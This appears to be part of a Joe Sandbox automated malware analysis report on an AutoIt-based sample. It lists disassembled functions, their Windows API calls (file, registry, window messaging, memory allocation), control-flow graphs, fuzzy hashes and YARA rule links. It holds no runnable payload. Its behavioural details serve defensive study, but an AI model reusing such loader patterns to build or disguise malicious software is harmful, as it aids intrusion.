                                                          • Opcode Fuzzy Hash: 901e9c1829c1b7d08fae7bc3e405295b8065a9a3bc55ca07c5458f0955c36a5f
                                                          • Instruction Fuzzy Hash: F7115E75240704BFD7218B65EC48F677BBAFFC5B11F204269F60986250DB61EC44E661
                                                          Function 0055445A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetFileAttributesW.KERNELBASE(?,0052E398), ref: 0055446A
                                                          • FindFirstFileW.KERNELBASE(?,?), ref: 0055447B
                                                          • FindClose.KERNEL32(00000000), ref: 0055448B
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: FileFind$AttributesCloseFirst
                                                          • String ID:
                                                          • API String ID: 48322524-0
                                                          • Opcode ID: 8b875f944bb66d2c7cd5ed42a51c1e7c745d322ee8ec4de243077863a36569a1
                                                          • Instruction ID: 6278574f50624ce6bceed5c0a888e1028132969839d2f63632b83ce139fe51f7
                                                          • Opcode Fuzzy Hash: 8b875f944bb66d2c7cd5ed42a51c1e7c745d322ee8ec4de243077863a36569a1
                                                          • Instruction Fuzzy Hash: B2E0D837414500A74610AB38FC0D4ED7B5CAF1533AF100B16FC3AC10D0E7745988BB95
                                                          Function 004FFCE0 Relevance: 3.5, Strings: 2, Instructions: 1040COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: BuffCharUpper
                                                          • String ID: pb[$%X
                                                          • API String ID: 3964851224-2530992240
                                                          • Opcode ID: e647e7dd04305650e5cf388981b127a84b7055149736bbfc03f2ab595c29d31c
                                                          • Instruction ID: dedc4dcf8128936e1be6fe20882ac387fbd34a1ee8f77bfbca37f2b39e31ace9
                                                          • Opcode Fuzzy Hash: e647e7dd04305650e5cf388981b127a84b7055149736bbfc03f2ab595c29d31c
                                                          • Instruction Fuzzy Hash: 639268746083418FD720DF24C484B6ABBE5BF89304F14996DE98A8B3A2D775EC45CF92
                                                          Function 005009D0 Relevance: 64.3, APIs: 27, Strings: 9, Instructions: 1300windowsleeptimeCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00500A5B
                                                          • timeGetTime.WINMM ref: 00500D16
                                                          • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00500E53
                                                          • Sleep.KERNEL32(0000000A), ref: 00500E61
                                                          • LockWindowUpdate.USER32(00000000,?,?), ref: 00500EFA
                                                          • DestroyWindow.USER32 ref: 00500F06
                                                          • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00500F20
                                                          • Sleep.KERNEL32(0000000A,?,?), ref: 00534E83
                                                          • TranslateMessage.USER32(?), ref: 00535C60
                                                          • DispatchMessageW.USER32(?), ref: 00535C6E
                                                          • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00535C82
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Message$PeekSleepWindow$DestroyDispatchLockTimeTranslateUpdatetime
                                                          • String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$pb[$pb[$pb[$pb[
                                                          • API String ID: 4212290369-273532531
                                                          • Opcode ID: 98c126b481a5f9a6522c3bc718e7e3903ff74fffab9e3029b032cf5fb1cdefe7
                                                          • Instruction ID: 26c3464cb72eab44c5f7412b33f24a8b979aa834d6a536b6572d2cdab8f78682
                                                          • Opcode Fuzzy Hash: 98c126b481a5f9a6522c3bc718e7e3903ff74fffab9e3029b032cf5fb1cdefe7
                                                          • Instruction Fuzzy Hash: 18B2A070608741DFD728DF24C885BAEBBE4BF84304F14591EE589972E1DB74E888DB92
                                                          Function 004F3015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73windowregistryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          APIs
                                                          • GetSysColorBrush.USER32(0000000F), ref: 004F3074
                                                          • RegisterClassExW.USER32(00000030), ref: 004F309E
                                                          • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 004F30AF
                                                          • InitCommonControlsEx.COMCTL32(?), ref: 004F30CC
                                                          • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 004F30DC
                                                          • LoadIconW.USER32(000000A9), ref: 004F30F2
                                                          • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 004F3101
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                          • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                          • API String ID: 2914291525-1005189915
                                                          • Opcode ID: 8f28547be1ec820d1d5accf025970c88d0736db524d76e6b4bec31b0e78f3c75
                                                          • Instruction ID: f5f3bb5c86a13ff2115be2672de1f68102acb42a03b067115a8680f137480896
                                                          • Opcode Fuzzy Hash: 8f28547be1ec820d1d5accf025970c88d0736db524d76e6b4bec31b0e78f3c75
                                                          • Instruction Fuzzy Hash: D9316A71845344AFDB40CFA4EC89B9DBBF0FB19310F24462EF584A62A0E3B51588EF50
                                                          Function 004F3041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54windowregistryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          APIs
                                                          • GetSysColorBrush.USER32(0000000F), ref: 004F3074
                                                          • RegisterClassExW.USER32(00000030), ref: 004F309E
                                                          • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 004F30AF
                                                          • InitCommonControlsEx.COMCTL32(?), ref: 004F30CC
                                                          • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 004F30DC
                                                          • LoadIconW.USER32(000000A9), ref: 004F30F2
                                                          • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 004F3101
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                          • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                          • API String ID: 2914291525-1005189915
                                                          • Opcode ID: e7ae85e0e30ec60c077bc38918efceb1cdcb890a9dfacfd0280d07fb4a600267
                                                          • Instruction ID: ec04b10d85c20ce799d4c2f67c8d484f1e821ba7d48d4146357b1d21f5e6e705
                                                          • Opcode Fuzzy Hash: e7ae85e0e30ec60c077bc38918efceb1cdcb890a9dfacfd0280d07fb4a600267
                                                          • Instruction Fuzzy Hash: 1221F7B1901208AFDB44DFA4FC49B9DBBF4FB18700F10822AF515A62A0E7B15588EF91
                                                          Function 004F3633 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151windowtimeregistryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 742 4f3633-4f3681 744 4f3683-4f3686 742->744 745 4f36e1-4f36e3 742->745 746 4f3688-4f368f 744->746 747 4f36e7 744->747 745->744 748 4f36e5 745->748 751 4f374b-4f3753 PostQuitMessage 746->751 752 4f3695-4f369a 746->752 749 4f36ed-4f36f0 747->749 750 52d0cc-52d0fa call 501070 call 501093 747->750 753 4f36ca-4f36d2 DefWindowProcW 748->753 754 4f3715-4f373c SetTimer RegisterWindowMessageW 749->754 755 4f36f2-4f36f3 749->755 789 52d0ff-52d106 750->789 759 4f3711-4f3713 751->759 757 52d154-52d168 call 552527 752->757 758 4f36a0-4f36a2 752->758 760 4f36d8-4f36de 753->760 754->759 764 4f373e-4f3749 CreatePopupMenu 754->764 761 4f36f9-4f370c KillTimer call 4f443a call 4f3114 755->761 762 52d06f-52d072 755->762 757->759 781 52d16e 757->781 765 4f36a8-4f36ad 758->765 766 4f3755-4f3764 call 4f44a0 758->766 759->760 761->759 774 52d074-52d076 762->774 775 52d0a8-52d0c7 MoveWindow 762->775 764->759 770 52d139-52d140 765->770 771 4f36b3-4f36b8 765->771 766->759 770->753 777 52d146-52d14f call 547c36 770->777 779 4f36be-4f36c4 771->779 780 52d124-52d134 call 552d36 771->780 783 52d097-52d0a3 SetFocus 774->783 784 52d078-52d07b 774->784 775->759 777->753 779->753 779->789 780->759 781->753 783->759 784->779 785 52d081-52d092 call 501070 784->785 785->759 789->753 793 52d10c-52d11f call 4f443a call 4f434a 789->793 793->753
                                                          APIs
                                                          • DefWindowProcW.USER32(?,?,?,?), ref: 004F36D2
                                                          • KillTimer.USER32(?,00000001), ref: 004F36FC
                                                          • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 004F371F
                                                          • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 004F372A
                                                          • CreatePopupMenu.USER32 ref: 004F373E
                                                          • PostQuitMessage.USER32(00000000), ref: 004F374D
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                                          • String ID: TaskbarCreated$%X
                                                          • API String ID: 129472671-764208368
                                                          • Opcode ID: cdce606fce435cbf60f5d23338fe213156793beb572f8457104e27e3a815bf3e
                                                          • Instruction ID: 984f030bb16f7bb13c6db02a3c2d57f424ed2ccf66c7af1381825cb3db8351ad
                                                          • Opcode Fuzzy Hash: cdce606fce435cbf60f5d23338fe213156793beb572f8457104e27e3a815bf3e
                                                          • Instruction Fuzzy Hash: A6410AB110050DABDB28AF64EC0DB7A3AD4FB51302F100126F702D63E1EA696D49A76A
                                                          Function 004F3A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71windowregistryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          APIs
                                                          • GetSysColorBrush.USER32(0000000F), ref: 004F3A50
                                                          • LoadCursorW.USER32(00000000,00007F00), ref: 004F3A5F
                                                          • LoadIconW.USER32(00000063), ref: 004F3A76
                                                          • LoadIconW.USER32(000000A4), ref: 004F3A88
                                                          • LoadIconW.USER32(000000A2), ref: 004F3A9A
                                                          • LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 004F3AC0
                                                          • RegisterClassExW.USER32(?), ref: 004F3B16
                                                            • Part of subcall function 004F3041: GetSysColorBrush.USER32(0000000F), ref: 004F3074
                                                            • Part of subcall function 004F3041: RegisterClassExW.USER32(00000030), ref: 004F309E
                                                            • Part of subcall function 004F3041: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 004F30AF
                                                            • Part of subcall function 004F3041: InitCommonControlsEx.COMCTL32(?), ref: 004F30CC
                                                            • Part of subcall function 004F3041: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 004F30DC
                                                            • Part of subcall function 004F3041: LoadIconW.USER32(000000A9), ref: 004F30F2
                                                            • Part of subcall function 004F3041: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 004F3101
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                          • String ID: #$0$AutoIt v3
                                                          • API String ID: 423443420-4155596026
                                                          • Opcode ID: 025ae9a56d87f9bd62e11c2bdabfd2ae34ddb377621e829e1b39ee14d0aeb7b1
                                                          • Instruction ID: d83a9b7e3947329b869a62f44c4560a3e69b4ce4a9a7dfeadba1fa048d2afba0
                                                          • Opcode Fuzzy Hash: 025ae9a56d87f9bd62e11c2bdabfd2ae34ddb377621e829e1b39ee14d0aeb7b1
                                                          • Instruction Fuzzy Hash: 9E215174D01308AFEF59DFA4EC45B9DBBB0FB18711F00421AF504A62A1E7B56948AF94
                                                          Function 00527E4E Relevance: 14.6, APIs: 6, Strings: 2, Instructions: 627COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 00528105
                                                          • GetFileType.KERNELBASE(00000000,?,?,?,?,?,00000000,00000109), ref: 0052811F
                                                          • GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 00528142
                                                          • CloseHandle.KERNEL32(00000040,?,?,?,?,?,00000000,00000109), ref: 00528154
                                                          • CloseHandle.KERNEL32(00000040,?,?,?,?,?,00000000,00000109), ref: 0052851A
                                                          • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00528546
                                                            • Part of subcall function 00520ADD: CloseHandle.KERNELBASE(00000000,0057FB24,00000000,?,00528219,0057FB24,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00520B2D
                                                            • Part of subcall function 00520ADD: GetLastError.KERNEL32(?,00528219,0057FB24,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00520B37
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: ErrorLast$CloseHandle$FileType
                                                          • String ID: @$kRQ
                                                          • API String ID: 604914513-1642261832
                                                          • Opcode ID: 74cc3d984850d82e6df6e1a9742eb0f11fcc237945a8227e5e5c154cf0fa5999
                                                          • Instruction ID: 6d9d67b64a5f9332a995a0c162f22814ee9acfc2b01835a1c4a1958645eee4a4
                                                          • Opcode Fuzzy Hash: 74cc3d984850d82e6df6e1a9742eb0f11fcc237945a8227e5e5c154cf0fa5999
                                                          • Instruction Fuzzy Hash: E522457190912A9BEF29DFA8EC85BBD7F60FF16310F284628E520A72D1CB358D84D751
                                                          Function 00EA4578 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 239fileCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1031 ea4578-ea4626 call ea1f68 1034 ea462d-ea4653 call ea5488 CreateFileW 1031->1034 1037 ea465a-ea466a 1034->1037 1038 ea4655 1034->1038 1045 ea466c 1037->1045 1046 ea4671-ea468b VirtualAlloc 1037->1046 1039 ea47a5-ea47a9 1038->1039 1040 ea47eb-ea47ee 1039->1040 1041 ea47ab-ea47af 1039->1041 1047 ea47f1-ea47f8 1040->1047 1043 ea47bb-ea47bf 1041->1043 1044 ea47b1-ea47b4 1041->1044 1048 ea47cf-ea47d3 1043->1048 1049 ea47c1-ea47cb 1043->1049 1044->1043 1045->1039 1050 ea468d 1046->1050 1051 ea4692-ea46a9 ReadFile 1046->1051 1052 ea47fa-ea4805 1047->1052 1053 ea484d-ea4862 1047->1053 1056 ea47e3 1048->1056 1057 ea47d5-ea47df 1048->1057 1049->1048 1050->1039 1058 ea46ab 1051->1058 1059 ea46b0-ea46f0 VirtualAlloc 1051->1059 1060 ea4809-ea4815 1052->1060 1061 ea4807 1052->1061 1054 ea4872-ea487a 1053->1054 1055 ea4864-ea486f VirtualFree 1053->1055 1055->1054 1056->1040 1057->1056 1058->1039 1064 ea46f2 1059->1064 1065 ea46f7-ea4712 call ea56d8 1059->1065 1062 ea4829-ea4835 1060->1062 1063 ea4817-ea4827 1060->1063 1061->1053 1068 ea4842-ea4848 1062->1068 1069 ea4837-ea4840 1062->1069 1067 ea484b 1063->1067 1064->1039 1071 ea471d-ea4727 1065->1071 1067->1047 1068->1067 1069->1067 1072 ea475a-ea476e call ea54e8 1071->1072 1073 ea4729-ea4758 call ea56d8 1071->1073 1079 ea4772-ea4776 1072->1079 1080 ea4770 1072->1080 1073->1071 1081 ea4778-ea477c CloseHandle 1079->1081 1082 ea4782-ea4786 1079->1082 1080->1039 1081->1082 1083 ea4788-ea4793 VirtualFree 1082->1083 1084 ea4796-ea479f 1082->1084 1083->1084 1084->1034 1084->1039
                                                          APIs
                                                          • CreateFileW.KERNELBASE(00000000,?,80000000,00000007,00000000,00000003,00000080,00000000,?,00000000), ref: 00EA4649
                                                          • VirtualFree.KERNELBASE(00000000,00000000,00008000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00EA486F
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699946509.0000000000EA1000.00000040.00000020.00020000.00000000.sdmp, Offset: 00EA1000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_ea1000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CreateFileFreeVirtual
                                                          • String ID: cN
                                                          • API String ID: 204039940-390610773
                                                          • Opcode ID: e3e00bf9dbafeb2e33b0b1731302cb2fbf5584eb46f22b1b855d3d8c7a9348fe
                                                          • Instruction ID: 07ad5db172140fc54f5e5e7de208cc9b17cd87877d60ddcc70949d790a912820
                                                          • Opcode Fuzzy Hash: e3e00bf9dbafeb2e33b0b1731302cb2fbf5584eb46f22b1b855d3d8c7a9348fe
                                                          • Instruction Fuzzy Hash: 5AA10BB4E00209EBDB14CFA4C895BEEBBB5BF89305F209159E511BB2C0D7B5AA41CF54
                                                          Function 004F708B Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 201registryCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1085 4f708b-4f71b0 call 521940 call 4f7667 call 4f4706 call 51050b call 4f7cab call 4f3f74 call 4f7667 call 4f7d8c RegOpenKeyExW 1102 52e8b1-52e8cc RegQueryValueExW 1085->1102 1103 4f71b6-4f71d3 call 4f5904 * 2 1085->1103 1105 52e943-52e94f RegCloseKey 1102->1105 1106 52e8ce-52e90d call 510db6 call 4f522e RegQueryValueExW 1102->1106 1105->1103 1109 52e955-52e959 1105->1109 1119 52e92b-52e931 1106->1119 1120 52e90f-52e929 call 4f7bcc 1106->1120 1110 52e95e-52e984 call 4f79f2 * 2 1109->1110 1125 52e986-52e994 call 4f79f2 1110->1125 1126 52e9a9-52e9b6 call 512bfc 1110->1126 1123 52e933-52e940 call 510e2c * 2 1119->1123 1124 52e941 1119->1124 1120->1119 1123->1124 1124->1105 1125->1126 1135 52e996-52e9a7 call 512d8d 1125->1135 1137 52e9b8-52e9c9 call 512bfc 1126->1137 1138 52e9dc-52ea16 call 4f7de1 call 4f3f74 call 4f5904 call 4f79f2 1126->1138 1147 52ea1c-52ea1d 1135->1147 1137->1138 1145 52e9cb-52e9db call 512d8d 1137->1145 1138->1103 1138->1147 1145->1138 1147->1110
                                                          APIs
                                                            • Part of subcall function 004F4706: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,005B52F8,?,004F37AE,?), ref: 004F4724
                                                            • Part of subcall function 0051050B: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,004F7165), ref: 0051052D
                                                          • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 004F71A8
                                                          • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 0052E8C8
                                                          • RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 0052E909
                                                          • RegCloseKey.ADVAPI32(?), ref: 0052E947
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: NameQueryValue$CloseFileFullModuleOpenPath
                                                          • String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
                                                          • API String ID: 338900592-2727554177
                                                          • Opcode ID: 3ef7e0f62af5c6e4671e04bebcb2703693b24cab92661eaf186ec98202aa559a
                                                          • Instruction ID: 1b6509a4ba84907cb7fe64da261725da6405a7c743e23a175023a1e5950d52fe
                                                          • Opcode Fuzzy Hash: 3ef7e0f62af5c6e4671e04bebcb2703693b24cab92661eaf186ec98202aa559a
                                                          • Instruction Fuzzy Hash: F071C2750083059EE744EF25EC819ABFBE8FF95310F40062EF545C72A0DB78A988DB56
                                                          Function 004FF76F Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 168comCOMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          APIs
                                                            • Part of subcall function 00510162: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00510193
                                                            • Part of subcall function 00510162: MapVirtualKeyW.USER32(00000010,00000000), ref: 0051019B
                                                            • Part of subcall function 00510162: MapVirtualKeyW.USER32(000000A0,00000000), ref: 005101A6
                                                            • Part of subcall function 00510162: MapVirtualKeyW.USER32(000000A1,00000000), ref: 005101B1
                                                            • Part of subcall function 00510162: MapVirtualKeyW.USER32(00000011,00000000), ref: 005101B9
                                                            • Part of subcall function 00510162: MapVirtualKeyW.USER32(00000012,00000000), ref: 005101C1
                                                            • Part of subcall function 005060F9: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,004FF930), ref: 00506154
                                                          • GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 004FF9CD
                                                          • OleInitialize.OLE32(00000000), ref: 004FFA4A
                                                          • CloseHandle.KERNEL32(00000000), ref: 005345C8
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
                                                          • String ID: 8$<W[$%X$S[
                                                          • API String ID: 1986988660-3495154501
                                                          • Opcode ID: c997711dbfca6c6d97171d60c615dca8f9cd08f989914e3f474de9ecbfc15466
                                                          • Instruction ID: ec6f76e8feaedf97df5551f86a27b80fb1cc3b2a5afef635d63c37dab104c39b
                                                          • Opcode Fuzzy Hash: c997711dbfca6c6d97171d60c615dca8f9cd08f989914e3f474de9ecbfc15466
                                                          • Instruction Fuzzy Hash: 4C81DFB0901A408FCBDDEF39A8557597BE5FBA8346760862A9008CB361FB74248DAF14
                                                          Function 004F39D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1273 4f39d5-4f3a45 CreateWindowExW * 2 ShowWindow * 2
                                                          APIs
